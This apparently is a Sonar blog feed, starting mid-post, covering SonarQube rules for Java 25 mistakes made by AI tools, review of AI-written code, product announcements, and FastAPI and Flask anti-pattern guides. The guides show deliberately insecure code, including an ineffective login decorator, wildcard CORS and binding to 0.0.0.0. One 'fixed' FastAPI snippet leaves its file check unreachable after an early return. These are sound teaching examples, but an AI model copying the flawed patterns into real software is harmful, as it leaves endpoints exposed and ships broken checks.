LLMs generate code token by token without running a type-checker, a semantic model, or a data-flow analysis between tokens. In contrast, SonarQube's static code analysis does. When a model generates ScopedValue.where(KEY, value) without .run(), the code compiles because the Carrier return type is valid. SonarQube flags it because the Carrier is discarded, meaning the intended effect never happens. When a model puts field initialization after super() in a class where the superclass calls an overridden method, the code compiles because the assignment is syntactically legal in the epilogue. SonarQube flags it because the field is read before it's written.

As models get more fluent, the bugs they introduce get subtler. The training data cliff compounds this: every language release that finalizes preview features creates a new batch of patterns where AI tools are confidently generating code for an API that no longer exists. The same dynamic that makes AI coding assistants useful for boilerplate (deep pattern knowledge of established APIs) makes them unreliable for new language features (shallow or stale knowledge of recently changed APIs).

Static analysis closes this gap because it doesn't depend on training data. SonarQube’s rules encode the final API contracts, the prologue restrictions, and the shadowing hierarchy as they actually are, not as they were in a preview six months ago. When the next JDK release finalizes more preview features, new rules will follow.

Every Java 25 rule at a glance

SonarQube includes rules across four JEPs for these features, released in two batches. JEPs 506, 513, and 511 are covered above. JEP 512 (Compact Source Files and Instance Main Methods) adds two smaller ergonomics rules:

Rule	JEP	Type	Severity	What it catches
S8432	506 (Scoped Values)	Code Smell	Major	ScopedValue.where() result discarded
S8433	513 (Flexible Constructors)	Code Smell	Major	Validation logic after super()
S8444	513 (Flexible Constructors)	Code Smell	Major	Excessive logic in constructor prologue
S8445	511 (Module Imports)	Code Smell	Minor	Module imports not first; regular/static imports not grouped
S8447	513 (Flexible Constructors)	Bug	Critical	Field read before initialization via super() call chain
S8446	512 (Compact Source Files)	Code Smell	Major	Multiple main methods causing shadowing
S8450	512 (Compact Source Files)	Code Smell	Minor	BufferedReader boilerplate replaceable with IO.readln()
S8465	506 (Scoped Values)	Bug	Major	Anonymous ScopedValue created inside .where() - key unreachable

The first four rules (S8432, S8433, S8444, S8445) shipped in sonar-java 8.24.0. S8446, S8447, S8450, and S8465 followed in 8.25.0. All are available now in SonarQube Cloud and in SonarQube Server starting with the 2026.2 release.

These rules exist because the gap between AI fluency and programming language correctness is structural and it widens with every release. Java 26 is already on the horizon with its own set of finalized preview features. The cycle repeats.

Run your AI-generated Java 25 code through SonarQube. These rules catch the patterns that AI gets wrong and reviewers miss. Analysis is free for public projects on SonarQube Cloud. If you're using SonarQube for IDE, the rules flag these patterns as you write rather than after you push.

How to scale code review when AI writes code faster than you can understand it

Ekaterina Okuneva — Wed, 18 Mar 2026 15:00:00 GMT

AI agents are rapidly becoming the primary authors of pull requests, creating a volume of code that challenges traditional governance and human review capacity. This shift is creating a fundamental crisis in the software development lifecycle: we are producing code at a volume that has outpaced our ability to fully understand it.

When a software developer uses an AI coding agent to generate hundreds of lines in seconds, the traditional peer review process breaks. We are entering an era of "black box" code—code that looks correct and functions as intended, but contains nuances and dependencies that no developer on the team has fully internalized.

The challenge for software engineering teams is no longer just “how to move faster,” but “how to maintain integrity” when reviewing code they didn't actually write and may not fully comprehend.

The collapse of manual code review

For decades, code review was a primary vehicle for knowledge sharing and quality control. It was a human-scale activity. But as AI scales software development velocity, the human-in-the-loop is becoming a bottleneck.

The cognitive load problem: Reviewing machine-generated code requires significantly more mental effort than reviewing developer-written code. Our research shows that 38% of developers agree reviewing AI-generated code requires more effort than reviewing code written by their colleagues. AI can be overly verbose or use subtle patterns that are difficult for a tired human eye to catch.
The "rubber stamp" trap: Faced with an explosive volume of code, reviewers often default to checking if the tests pass and moving on. This type of review ignores the long-term health, security, and maintainability of the codebase. A staggering 61% of developers agree that AI often produces code that looks correct but isn't reliable, creating a deceptive layer of quality that bypasses manual scrutiny.
The loss of context: When an AI agent generates code, there is no intent to discuss in a comment thread. If the reviewer doesn't understand the underlying logic, the effort to review AI code tends to become a surface-level check rather than a deep validation of the solution.

To survive this shift, we have to change how we approach the verification of the code artifact itself.

Source-agnostic, risk-specific AI code review

In the AI-driven SDLC, the origin of the code (who or what wrote it) matters less than the integrity of the result. To maintain standards without killing velocity, the review process must become source-agnostic.

This means the burden of proof for code quality and security moves away from the human reviewer and onto an automated, high-precision verification layer.

1. Automate the standard so developers can focus on intent

If your senior developer’s’ time is spent catching syntax errors, naming inconsistencies, or basic security flaws, you are misusing your most expensive resource. Automated code review can handle the deterministic aspects of code health—security vulnerabilities, reliability issues, and maintainability standards—leaving senior developers to focus on the high-level strategy, business logic, and architectural intent.

2. Implement risk-specific enforcement mechanisms

Not all code is created equal. A source-agnostic approach allows you to apply different levels of rigor based on the impact of the application.

For mission-critical systems: Automated standard enforcement isnon-negotiable. If the code doesn't meet the standard, it doesn't move forward.
For innovation zones: Use automated feedback as a coaching tool to help developers understand the risks the LLM/agent might be introducing.

Scaling review with Sonar

Sonar views the implementation of governance frameworks as scaling enablers rather than hurdles. SonarQube analyzes over 750 billion lines of code every day. This massive scale equates to high-precision feedback required to review AI code at machine speed. This, in turn, enables software engineering teams to innovate more quickly using AI, because they have the confidence of knowing a governance regime exists to protect the health of their applications.

Sonar provides the infrastructure that allows teams to scale their review process without sacrificing standards:

High-precision analysis: For automation to replace manual toil, it must be reliable. If a tool creates noise, developers will ignore it. SonarQube’s analysis provides actionable code intelligence that identifies exactly what is wrong and how to fix it, ensuring that AI code is thoroughly vetted before it ever reaches a developer. This works in two critical ways:
- Agentic flow: Our Agentic Analysis integrates directly with your AI coding tools, creating a closed loop where the agent receives systematic feedback to self-correct in real time.
- Quality gates: A final, ironclad safety net that catches any edge cases, ensuring only verified, compliant code reaches the finish line.
Review at the point of creation: Code review is a continuous process.With its IDE and MCP integrations, SonarQube catches issues the moment AI suggests them. This workflow allows software developers to experiment with AI tools while knowing their first line of defense is always active.
Source-agnostic by design: Because our verification focuses on the artifact, it doesn't matter if your team is using Copilot, Cursor, or a custom internal agent. SonarQube provides a single, unified standard of excellence that scales across your entire organization, regardless of how the code was generated.
Architecture: As teams move from simple assistance to delegating code generation to autonomous agents, the risk of architectural drift increases exponentially. Sonar is adding architecture capabilities to SonarQube to help teams ground these agentic workflows in sound architectural information. This infrastructure allows teams to discover their current state, formalize a target blueprint, and ensure that delegated agents remain within the intended structural constraints.

Managing the transition to agentic development

As we move from AI assistants to autonomous agents that can build independently, the need for a robust, automated review layer becomes an operational necessity. You cannot scale a human-only process to match an exponential increase in AI-powered build volume.

By deploying an automated, high-precision review infrastructure, your teams can innovate with confidence. You move from a culture of "hoping the AI code is right" to a culture of "knowing the code is secure."

The goal isn't just to review more code; it's to build software you can actually trust, even when you didn't write every line yourself.

SonarQube Wiz Integration: Unified Code-to-Cloud Security

Jeff Clawson — Tue, 17 Mar 2026 15:00:00 GMT

In the fast-paced world of modern software delivery, engineering leaders and platform engineers face a growing dilemma: the "Engineering Productivity Paradox." While automated tools and AI assistants allow teams to ship code faster than ever, they also introduce a higher volume of security vulnerabilities and bugs. Tracking these risks often feels like a game of whack-a-mole, with security findings scattered across disparate tools and development cycles.

As the industry prepares to gather in San Francisco next week for the RSA Conference, the conversation has shifted from simply "finding" bugs to "unifying" the defense. Today, we are thrilled to announce a new integration between Sonar and Wiz. By bringing SonarQube’s Static Application Security Testing (SAST) findings directly into the Wiz platform, we are giving organizations the unified visibility they need to secure their software from the first line of code to the production environment. If you plan to attend RSAC, then you can see the integration in action at the Sonar booth (#S-1727) and at the Wiz House (661 Howard St).

Why this integration matters

The "before" state for most organizations is defined by silos. Developers live in their CI/CD pipelines and IDEs, focused on code quality and immediate bug fixes, while security teams operate across multiple tools to monitor risks across code, cloud, and runtime.

Without a bridge between these worlds, it is incredibly difficult to track code health at scale in a microservices environment. A critical vulnerability found in a code scan might lack the cloud context to be properly prioritized, and a runtime risk might be hard to trace back to the specific source code repository or owner.

SonarQube insights in your cloud security inventory

The integration between Sonar and Wiz eliminates these silos by creating a "code-to-cloud" feedback loop. Using the new connector, SonarQube metrics and findings are ingested and displayed within the Inventory > SAST Findings page on the Wiz platform.

This technical flow is designed to be seamless. SonarQube performs automated systematic code analysis during your CI/CD pipeline, conducting both Pull Request (PR) analysis (on new code) and branch analysis (on regular, long-lived branches). Wiz pulls in these branch analysis results—supporting any branch, not just the default—and maps them to the corresponding assets in your cloud inventory.

By enriching Wiz’s Security Graph with SonarQube’s specialized SAST data, security teams can see a high-fidelity view of risk that combines code-level flaws with real-world cloud context, such as network exposure and identity permissions.

Key benefits for users

Centralized visibility: Consolidate your application-level findings from SonarQube alongside other cloud risks within a single pane of glass in Wiz, ensuring nothing falls through the cracks.
Prioritized remediation: By enriching existing cloud assets with SonarQube’s SAST findings, teams can identify "toxic combinations"—where a code-level vulnerability exists on a publicly exposed or highly privileged container.
Streamlined developer workflows: SonarQube automatically tracks findings across multiple project branches, and this integration ensures that the right data reaches the right people without requiring developers to leave their existing CI/CD environments.
Unified security posture: Strengthen your overall security governance by aligning code-level evidence with infrastructure risk, helping engineering leaders meet compliance requirements and maintain high standards across the SDLC.

The partnership between Sonar and Wiz is a significant step toward a future where code quality and cloud security are no longer separate concerns. By interweaving Sonar’s deep code analysis into the Wiz platform, we are empowering development and security teams to collaborate more effectively and build software that is secure by design. We share a vision of reducing developer toil and providing the actionable insights needed to innovate with confidence in an increasingly complex cloud landscape.

Want to see this integration in action? If you’re attending RSAC, find us at booth #S-1727 and at the Wiz House all week long, to learn more. Book a meeting with the team!

Announcing native MCP Server in SonarQube Cloud

Andrew Osborne — Tue, 17 Mar 2026 15:00:00 GMT

The rise of AI-assisted software development has introduced a new bottleneck: code verification. While AI can generate code at unprecedented speeds, manually verifying that code for quality and security often breaks a software developer's flow.

To solve this, Sonar launched the SonarQube MCP Server, bridging the gap between AI agents and trusted SonarQube insights. Today, we are evolving this integration. While the SonarQube MCP server remains available as a local Docker container, we have now launched an embedded version directly within SonarQube Cloud. Now natively available, with no installation required, this update removes the "Docker barrier" and transforms the integration into a fully managed, enterprise-ready service.

Cloud-native integration

The cloud-native option is designed for environments where centralized management is preferred or where local installation restrictions are in place. For many software engineering teams, especially those in regulated industries like finance or healthcare, local installations are not allowed, and this created significant friction.

The SonarQube embedded MCP server solves these issues by moving the logic into SonarQube Cloud. It provides a centralized, managed endpoint that is always on, always updated, and accessible without any local software installation.

Beyond analysis: Conversational code intelligence

By embedding the SonarQube MCP server, we are enabling AI agents to autonomously verify the AI code they produce against your organization’s specific quality gates.

When connected to the embedded MCP server, your AI assistants (such as Claude Desktop, GitHub Copilot, or custom LLM agents) can perform high-value tasks directly within the conversational flow:

Natural language queries: Ask your AI, "My quality gate is failing for my project. Can you help me understand why and fix the most critical issues?” or "I want to reduce technical debt in my project. What are the top issues I should prioritize?"
Actionable issue management: Interactively update an issue’s status or mark a finding as a false positive directly from your AI assistant without switching to the SonarQube UI.
Dependency risk detection: Leverage SonarQube Advanced Security insights to identify and remediate vulnerable security dependencies in real-time.
Quality at the source: Ensure AI-generated code adheres to your standards before it ever reaches a Pull Request.

How to connect to the embedded MCP server

Switching to the embedded version requires a simple update to your MCP configuration (e.g., your mcp.json file). This configuration replaces the previous Docker-based image or command blocks with a direct cloud-native connection. Example for Cursor or Antigravity:

"sonarqube": {

  "type": "http",

  "url": "https://api.sonarcloud.io/mcp",

  "headers": {

    "Authorization": "Bearer <your_user_token>",

    "SONARQUBE_ORG": "your-organization-key"

  }

}

Setup requirements:

User token: Generate a personal access token in your SonarQube Cloud security settings.
Organization key: Provide the unique key for your SonarQube Cloud organization.

Empowering the modern AI stack

The embedded MCP server is designed for the future of "vibe coding" and agentic workflows. By providing AI agents with direct, secure access to SonarQube Cloud's 7,000+ distinct issues that can be detected we ensure that velocity never comes at the expense of code health.

Deployment options Users can now choose between two methods to connect their AI tools to SonarQube:

Local deployment: Running a Docker container on a workstation to bridge the IDE and SonarQube.
Cloud native: Using the embedded endpoint in SonarQube Cloud for centralized access without local software installation.

Whether you are using Amazon Q Developer, Claude Code, or building custom autonomous agents, the embedded SonarQube MCP server provides the standardized, scalable, and secure foundation needed to automate code quality and security at scale.

To learn more about SonarQube MCP Server, visit our Documentation or join the discussion in the Sonar Community.

Cyber Resilience Act AI Automated Verification

Ekaterina Okuneva — Fri, 13 Mar 2026 15:00:00 GMT

In our previous post about the European Union’s Cyber Resilience Act (CRA), we explored the tension between the speed of AI-assisted development and the legal requirement for secure by design software. Since then, the conversation has moved from adoption to accountability. AI is no longer a future goal—it is the new baseline for software development.

That said, Sonar’s 2026 State of Code Developer Survey highlights a significant security trust gap. Despite the productivity gains of AI, 96% of developers do not fully trust that AI-generated code is functionally correct. The security concerns are even more acute: 57% of developers worry about AI code exposing sensitive company or customer data, and 47% are concerned that AI is introducing new, subtle vulnerabilities into their codebase. Without automated AI code review and verification, the force multiplier effect of AI in the software development lifecycle (SDLC) can quickly become a risk multiplier for the business.

Scaling verification to match AI velocity

The CRA makes no distinction between code written by a developer and code suggested by an AI. The manufacturer remains the legal anchor of responsibility. As code volume increases, the traditional reliance on manual peer review becomes a physical bottleneck. To stay compliant and competitive, the speed of your verification must match the speed of your creation.

SonarQube provides this essential infrastructure, acting as the automated verification solution that ensures all code—regardless of its origin—is production-ready, secure, and maintainable.

Mapping SonarQube capabilities to CRA mandates

To meet the CRA's standard of due diligence, organizations must provide streamlined, standardized evidence that their products are built correctly and maintained securely. SonarQube’s technical capabilities map directly to the essential requirements of the Act:

Minimizing vulnerabilities through SAST

The CRA requires manufacturers to minimize vulnerabilities before products are placed on the market (Article 13). SonarQube’s static application security testing (SAST) directly supports this mandate by identifying exploitable coding weaknesses early in development. This prevents the introduction of common vulnerability classes—such as injection flaws and insecure deserialization—by embedding security into developer workflows, AI-assisted or deveoloper--powered, rather than relying on downstream testing.

Safeguarding system access

The rapid pace of AI development increases the risk of hard-coded credentials. This directly impacts the CRA requirement for manufacturers to ensure protection against unauthorized access through appropriate control mechanisms (Annex I). SonarQube scans the entire codebase for API keys, passwords, and sensitive tokens that may have been inadvertently included by an AI coding tool, ensuring they are removed before exposure.

Software supply chain security & managing third-party risk

Modern software heavily relies on open-source and third-party components—a key focus area under the CRA. Software Composition Analysis (SCA) within SonarQube enables organizations to identify vulnerable dependencies and detect malicious or compromised packages, and continuously monitor component risk over time as AI coding introduces new dependencies. This supports CRA obligations for transparency and lifecycle risk management (Annex I) by providing visibility into external software dependencies.

Verifying "no known vulnerabilities"

A cornerstone of the CRA is the mandate to ship products without known exploitable vulnerabilities (Annex I). SonarQube Advanced Security utilizes NVD, EPSS, KEV, and OSV databases to verify that components are free from known risks. Also, by enabling a start-left approach, SonarQube for IDE gives developers instant feedback to detect and fix compliance issues at the moment of creation.

Mastering supply chain transparency

Manufacturers must identify and document dependencies via a software bill of materials (SBOM) (Annex I). SonarQube Advanced Security automatically generates machine-readable SBOMs, ensuring a traceable inventory management process and helping teams maintain control over the entire software lifecycle, quickly identify and remediate vulnerabilities.

Generating audit trails and proof

Compliance requires an auditable record of security activities. SonarQube delivers secure, immutable, and detailed audit logs that capture lifecycle changes, configuration updates and security events, simplifying creation of documentation required for CRA risk assessments.

The SonarQube engine: Enforcement and assessment

To bridge the gap between AI speed and regulatory reality, SonarQube provides two distinct points of verification:

1. The enforcement point: actionable intelligence

The most efficient way to streamline compliance with the CRA is to prevent non-compliant code from ever entering the codebase.

Quality gates: These act as an automated "stop/go" mechanism in the CI/CD pipeline. They ensure that no code—regardless of its origin—can proceed if it fails to meet the organization's standards for code health and security.
IDE-based boundaries: By integrating directly into the developer's workflow, SonarQube helps developers maintain high standards without sacrificing the speed they gain from AI.

2. The assessment point: Transparency and governance

For leadership and risk officers, compliance is built on visibility.

Portfolio management: SonarQube delivers a high-level view of codebase health across the entire organization. This transforms invisible code debt into visible data, allowing leaders to monitor risk accumulation across business units.
Customizable project dashboards: Designed to provide the strategic visibility needed to monitor key metrics, identify risks, and communicate progress—all from one configurable, actionable place.

Turning regulation into resilience

The Cyber Resilience Act is a mandate for a new era of software craftsmanship. Attempting to retrofit compliance in an AI-accelerated world is a risky and expensive path. By deploying SonarQube as a standardized AI code review and verification solution, organizations can safely harness the full power of AI while maintaining the hard governance and transparency required to assert total control over their regulatory responsibilities.

Announcing SonarQube Cloud automatic provisioning for GitHub repositories

Andrew Osborne — Fri, 13 Mar 2026 09:00:00 GMT

Setting up a new project should be about writing code, not configuring tools. Until now, every time your team created a new GitHub repository, an admin had to manually import it into SonarQube Cloud to start seeing analysis. It was a small task, but it added up. And sometimes, repos were simply forgotten, leaving gaps in your code coverage. To address this, we are pleased to announce the general availability of automatic provisioning for GitHub repositories on SonarQube Cloud.

This feature is designed to eliminate the manual overhead of project setup, ensuring that your code is verified from the very first commit, without requiring ongoing admin intervention.

The value of zero-touch GitHub repository provisioning

By shifting to an automated provisioning model, SonarQube Cloud helps teams achieve several strategic objectives:

Accelerated time to value: The moment a new repository is created in your GitHub organization, SonarQube Cloud automatically provisions a bound project.
Actionable insights from day 1: Initial analysis is triggered automatically upon repository creation. This ensures developers receive immediate feedback on their code quality and security posture before technical debt has a chance to accumulate.
Simplified governance: Admins no longer need to "find" and import new projects manually. This "set and forget" integration ensures 100% coverage for new codebases, maintaining your organization's standards by default.
Reduced automation complexity: This native capability replaces the need for maintaining custom API scripts or complex internal automation for project onboarding.

How it works

The workflow is seamless and background-driven.

Creation: A developer creates a new repository within your linked GitHub organization.
Provisioning: SonarQube Cloud instantly detects the new repo and creates a corresponding project.
Analysis: An initial analysis is kicked off, providing instant visibility into the code's reliability, maintainability, and security.

Why use it?

No more "missing" repos: You don't have to go hunting for new projects created by your teams. If they exist in GitHub, they're being analyzed in SonarQube Cloud.
Results on day 1: You get feedback on code quality and security vulnerabilities before you've even finished the first week of development.
Set and forget: This replaces the need for custom scripts or API work that you might have built to handle onboarding.

How to enable automatic provisioning

For new organizations, this is enabled by default. For existing SonarQube Cloud organizations, this feature is available as an opt-in toggle. Organization admins can enable it by following these steps:

Navigate to Administration > Organization settings.
Select GitHub integration.
Locate the Automatic provisioning section and toggle the setting to On.

Note: This feature currently applies to newly created repositories. Bulk import capabilities for existing "brownfield" repositories are coming soon!

Build a secure-by-default environment

At Sonar, our goal is to provide the foundation for high-performance engineering by making code verification a natural, frictionless part of the software development lifecycle. Automatic provisioning removes the "setup lag," allowing your team to focus on building while SonarQube Cloud handles the oversight.

For organization admins: We encourage you to toggle this feature on today to streamline your development workflow and ensure no new project goes unverified.

New to SonarQube Cloud? Experience the power of automated code review and see how easy it is to secure your GitHub repositories from the start. Sign up here to get started.

Mastering FastAPI quality standards with SonarQube

Jean Jimbo — Thu, 12 Mar 2026 15:00:00 GMT

Modern web development often treats HTTP requests as unstructured "blobs" of data. While this mindset might pass in legacy frameworks, it is fundamentally incompatible with the high-performance asynchronous environment of FastAPI. Failing to respect the web development framework's internal mechanics leads to protocol mismatches, broken request lifecycles, and avoidable code security exposures.

In this post, we will audit a hypothetical Enterprise Policy Manager API. We will examine how specific SonarQube rules help us refine our approach to transform a brittle implementation into a professional standard.

Quality pillar 1: Contract precision & data ingress

The most common failures in APIs stem from ambiguity. Because Python is dynamic, software developers often assume the framework will "figure it out," but HTTP protocols are rigid. When your code creates a mismatch between the HTTP definition (OpenAPI) and the Python runtime, you generate bugs that surface on the first request.

This implementation attempts to upload a policy document with metadata but fails to define a strict interface.

# Anti-patterns to avoid

from fastapi import FastAPI, Body, File, UploadFile, HTTPException

from typing import Optional, List

from pydantic import BaseModel

app = FastAPI()

class PolicyMeta(BaseModel):

    # S8396: Optional without a default implies it is required if missing

    tags: Optional[List[str]] 

# S8409: Redundant response_model (FastAPI infers this from return annotation)

@app.post("/policies/{policy_id}", methods=["POST"], response_model=dict)

async def create_policy(

    # S8411: 'policy_id' is in path but missing from function signature

    # S8410: Body() used as a default value

    meta: PolicyMeta = Body(...), 

    # S8389: Mixing Body (JSON) with File (Multipart) causes encoding conflicts

    # S8410: File() used as a default value

    files: UploadFile = File(...) 

) -> dict:

    if not files:

        # S8415: Exception raised but never documented in OpenAPI

        raise HTTPException(status_code=400, detail="No file")

    return {"status": "uploaded"}

There are several pitfalls here, including:

The "Optional" tTrap (S8396): Optional[List[str]] only means None is a valid value—it does not make the field optional during validation. Without an explicit = None, Pydantic still demands the field be present in the payload.
Redundant Models (S8409): Specifying response_model when it duplicates the return type annotation adds maintenance burden and visual noise without value.
Missing Path Parameters (S8411): FastAPI relies on the function signature to inject values. If {policy_id} is in the decorator but not the function signature, FastAPI will raise a ValueError at startup before any other request is served. The route compilation step cross-references every {param} in the path template against the function signature, and any mismatch is a hard startup failure. .
The False Default (S8410): Body() and File() look like default values but aren't— - the parameter's actual type is hidden; use Annotated[Type, Body(...)] instead.
The Content-Type Clash (S8389): You cannot mix Body() and File(). Body expects application/json, while File requires multipart/form-data. The server cannot parse JSON from a multipart stream natively, leading to 422 Validation Errors.
The Ghost Exception (S8415): Raising an HTTPException inside a function logic without declaring it in the decorator creates "Dark Documentation." Integration teams relying on your Swagger UI won't know they need to handle a 400 error, leading to unhandled crashes in the frontend.

Let’s refactor using Form data for complex structures alongside files, strict default values, and explicit exception documentation:

from fastapi import FastAPI, Form, File, UploadFile, HTTPException, status

from pydantic import BaseModel, model_validator

from typing import List, Optional, Annotated

import json

app = FastAPI()

class PolicyMeta(BaseModel):

    # S8396: Explicit default makes it truly optional during validation

    tags: Optional[List[str]] = None

    # S8389: Validator handles parsing JSON strings from Form data

    @model_validator(mode='before')

    @classmethod

    def validate_to_json(cls, value):

        if isinstance(value, str):

            return cls(**json.loads(value))

        return value

# S8415: Document the exception explicitly in responses map

@app.post(

    "/policies/{policy_id}", 

    responses={400: {"description": "File missing"}}

)

async def create_policy(

    # S8411: Path parameter MUST be in the signature

    policy_id: str, 

    # S8389: Use Form() for structured data alongside files

    meta: Annotated[PolicyMeta, Form()], 

    files: Annotated[UploadFile, File()]

) -> dict:

    return {"status": "uploaded"}

    # S8415: The exception is now documented above

    if not files.filename:

        raise HTTPException(status_code=400, detail="No file provided")

    return {"status": "uploaded"}

Testing Your Contract (S8405): When testing this endpoint, use the content parameter for raw bytes or pre-serialized JSON strings. Using data for anything other than a dictionary (form fields) can lead to incorrect encoding with the httpx-based TestClient.

Quality pillar 2: Runtime wiring and lifecycle management

How you assemble the application is just as critical as the code within it. Middleware layering, router registration, and process binding define the security and stability of the runtime environment.

This setup uses sub-routers and middleware, but the ordering destroys functionality and the binding configuration is insecure:

import uvicorn

from fastapi import APIRouter, FastAPI, Response

from fastapi.middleware.cors import CORSMiddleware

from fastapi.middleware.gzip import GZipMiddleware

# S8413: Defining prefix late in include_router

policy_router = APIRouter() 

admin_router = APIRouter()

app = FastAPI()

@policy_router.delete("/cleanup", status_code=204)

def cleanup():

    # S8400: 204 means No Content, but this might return 'null' (4 bytes)

    pass 

# S8401: Router registered BEFORE child routes are added

app.include_router(policy_router, prefix="/api/v1") 

# S8401: Child router added too late; app already registered policy_router

policy_router.include_router(admin_router) 

# S8414: CORS added first (inner layer), GZip wraps it

app.add_middleware(

    CORSMiddleware, 

    allow_origins=["*"],

    allow_methods=["*"]

) 

app.add_middleware(GZipMiddleware) 

if __name__ == "__main__":

    # S8392: Binding to 0.0.0.0 exposes dev machine to network

    # S8397: Passing app object prevents multiprocessing/reload

    uvicorn.run(app, host="0.0.0.0", reload=True)

The snippet contains the following pitfalls:

The Wandering Prefix (S8413): Defining the prefix in include_router() rather than APIRouter() separates a router's URL structure from its definition. Anyone reading the router file has no idea where its routes live without hunting through the application setup.
Phantom 204 Bodies (S8400): HTTP 204 means "No Content." When a function body ends with pass or ...,Python implicitly returns None - but FastAPI’s serialization pipeline sees an unhandled return path and may still emit a null body (4 bytes). Explicitly writing return None signals to FastAPI that the absence of content is intentional, allowing it to bypass serialization entirely. The safer alternative, return Response(status _code=204), bypasses FastAPI’s serialization layer altogether and guarantees an empty body regardless of framework version.
The Registration Timeline (S8401): FastAPI registers routes at the moment include_router is called. If you add admin_router to policy_router after policy_router is added to app, the admin routes are invisible (404s).
The Middleware Problem (S8414): Middleware wraps the application. The last added middleware is the outermost layer. If GZip is added after CORS, GZip handles the request first. If GZip rejects a request, the inner CORS layer never runs, and the browser receives a CORS error instead of the actual error.
The Open Door (S8392): Binding 0.0.0.0 exposes your application on every available attack surface, including public ones. Bind to 127.0.0.1 instead.
Pickling Problems (S8397): uvicorn.run(app) passes the Python object directly. New worker processes have no way to reconstruct it. An import string like "main:app” tells each worker how to import the application independently, enabling both reload and multiple workers.

Let’s correct these issues. We build the router hierarchy bottom-up, layer middleware like an onion (CORS on the outside), and use import strings for the runner.

import uvicorn

from fastapi import APIRouter, FastAPI, Response

from fastapi.middleware.cors import CORSMiddleware

from fastapi.middleware.gzip import GZipMiddleware

# S8413: Define prefixes at initialization for a Single Source of Truth

admin_router = APIRouter(prefix="/admin")

policy_router = APIRouter(prefix="/api/v1")

@policy_router.delete("/cleanup", status_code=204)

def cleanup():

    # S8400: Explicitly return Response or None to ensure empty body

    return Response(status_code=204)

# S8401: Include child routers BEFORE including the parent in the app

policy_router.include_router(admin_router)

app = FastAPI()

# S8401: Now that policy_router is fully assembled, we include it

app.include_router(policy_router)

# S8414: Add other middleware FIRST (Inner layers)

app.add_middleware(GZipMiddleware)

# S8414: Add CORSMiddleware LAST (Outermost layer)

# This ensures CORS headers are applied to all responses, even errors

app.add_middleware(

    CORSMiddleware,

    allow_origins=["https://trusted-client.com"], 

    allow_credentials=True,

    allow_methods=["*"],

    allow_headers=["*"],

)

if __name__ == "__main__":

    # S8392: Bind to localhost (127.0.0.1) for development security

    # S8397: Pass import string "main:app" to enable reload/workers

    uvicorn.run("main:app", host="127.0.0.1", port=8000, reload=True)

Before implementing your next route, always consider if your implementation relies on a framework coincidence or an explicitly defined contract. The most resilient services are built on the latter.

Check out the details of all 14 new FastAPI rules in our community post.

Code standards for resilient Flask web applications

Jean Jimbo — Thu, 12 Mar 2026 15:00:00 GMT

Flask is widely recognized as the modern Python micro-framework of choice, serving as the essential go-to library for rapidly constructing full-featured web applications famously with “as few as five lines of code.” It achieves an excellent balance, providing the necessary structure while maintaining a highly flexible and unopinionated core.

However, Flask's inherent simplicity can easily mask critical code reliability and quality gaps. In an era increasingly defined by rapid development, automated pipelines, and sophisticated AI code generation tools, the speed afforded by Flask must not come at the expense of meticulous attention to code security, maintainability, performance, or overall production-grade quality. Code that runs is fine. Code that communicates its intent and fails safely is much better.

This guide explores how specific SonarQube rules transform Flask web applications from functional into resilient production systems. Throughout this post, we'll use a Document Management API as our running example, the kind of realistic service that handles file uploads, downloads, authentication, and user requests. We will group these rules into two core themes:

API contract and RESTful precision: ensuring the interface behaves exactly as standard HTTP clients expect
Runtime resilience and framework mechanics: preventing crashes and security bypasses caused by misunderstanding Flask’s internal lifecycle

Theme 1: API contract and RESTful precision

A professional API is predictable. When a client makes a request, the transport layer (HTTP methods, status codes, URL structure) should tell the story before the payload is even parsed.

In legacy Flask code, we often see routes that handle everything in a single function, mix query parameters into POST requests, and return generic status codes like the poorly implemented document management controller below:

# Anti-patterns to avoid

@login_required # S6552: Incorrect order!

@app.route('/api/document') # Missing method specification

def handle_document():

    # S6965: Implicitly checking method logic inside

    if request.method == 'POST':

        # S8370: Extracting POST metadata from query params

        doc_type = request.args.get('type')

        save_document()

        return "Success" 

    # S8385: Trying to send a file without metadata

    f = open('report.pdf', 'rb')

    return send_file(f)

These anti-patterns have consequences:

Decorator ordering (S6552): In Python, decorators apply bottom-to-top. @app.route runs first, registering the raw function
with Flask. @login_required then wraps that function, but Flask already stored a reference to the unwrapped version. The login check never applies to incoming requests.
Implicit methods (S6965): Without methods=['POST'], Flask defaults to GET. If you check if request.method == 'POST' inside, that code is dead. Flask will throw a 405 Method Not Allowed before your logic ever runs.
Query params in POST (S8370): Using request.args (query params) for a POST operation violates REST principles. POST data belongs in the body. Putting data in the URL leads to logging leaks and fragile coupling.
MimeType guessing (S8385): Passing a raw file object to send_file causes Flask to raise a ValueError because it cannot determine the content type, crashing the request with a 500 error.

Let's refactor this into a robust Document Management controller.

from flask import jsonify, request, send_file

from http import HTTPStatus

# INSIGHT: We separate concerns. Use path params for IDs and body for payload.

# Corrects S6552: @app.route is the outermost decorator to ensure proper registration.

# Corrects S6965: We explicitly allow POST and GET in the decorator.

@app.route('/api/documents/<doc_id>', methods=['GET', 'POST'])

@login_required

def manage_document(doc_id):

    if request.method == 'POST':

        # Corrects S8370: We access data from the body (JSON), not query params.

        payload = request.get_json()

        try:

            # logic to update document...

            return jsonify({"id": doc_id, "status": "updated"}), HTTPStatus.OK

        except Exception:

            return jsonify({"error": "Processing failed"}), HTTPStatus.INTERNAL_SERVER_ERROR

    # Handling GET

    try:

        file_stream = get_file_stream(doc_id)

        # Corrects S8385: Explicitly providing mimetype and download_name prevents ValueErrors.

        return send_file(

            file_stream,

            mimetype='application/pdf',

            download_name=f'doc_{doc_id}.pdf',

            as_attachment=True

        )

    except FileNotFoundError:

        return jsonify({"error": "Not Found"}), HTTPStatus.NOT_FOUND

Warning: Rule S8370 highlights a security risk. If you put sensitive keys in query parameters (e.g., POST /doc?key=secret), that key ends up in your server access logs, proxy logs, and browser history. Always keep sensitive write-data in the body.

Theme 2: Runtime resilience and framework mechanics

This theme focuses on how your application handles the environment it lives in. This includes how it reads headers, how it processes middleware, and how it binds to the network.

Here we see a class-based view (CBV) configuration and a startup script that are accidents waiting to happen.

# Anti-patterns to avoid

# Class-Based View

@login_required # S8374: This will be ignored!

class DocumentStats(MethodView):

    def get(self):

         # S8371: Unsafe header access

        user_agent = request.headers['User-Agent']

        return render_template('stats.html')

# Startup

if __name__ == '__main__':

    # S8375: Ignoring middleware results

    app.preprocess_request()

    # S8392: Binding to all interfaces in dev

    app.run(host='0.0.0.0', debug=True)

Here’s what you can expect from these anti-patterns:

CBV Decorators (S8374): Decorators placed on the class of a View are ignored because Flask generates the actual view function via as_view(). Your @login_required here does literally nothing, leaving the endpoint wide open.
